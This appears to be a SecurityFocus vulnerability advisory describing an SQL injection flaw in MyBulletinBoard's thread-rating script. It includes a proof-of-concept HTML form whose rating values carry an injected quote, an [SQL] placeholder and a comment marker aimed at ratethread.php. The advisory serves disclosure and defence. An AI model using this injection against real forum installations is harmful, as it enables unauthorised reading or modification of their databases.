source: https://www.securityfocus.com/bid/14786/info

MyBulletinBoard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

<form action="http://www.example.com/ratethread.php" method="post">
<span class="smalltext"><strong>Rate This Thread:</strong></span>
<select name="rating">
<option value="">Select Rating</option>
<option value="5' [SQL] /*">5 ... Best</option>
<option value="4' [SQL] /*">4</option>
<option value="3' [SQL] /*">3 ... Average</option>
<option value="2' [SQL] /*">2</option>
<option value="1' [SQL] /*">1 ... Worst</option>
</select>

<input type="hidden" name="tid" value="[Thread ID]" />
<!-- start: gobutton -->
<input type="submit" value="Go" />
<!-- end: gobutton -->
</form>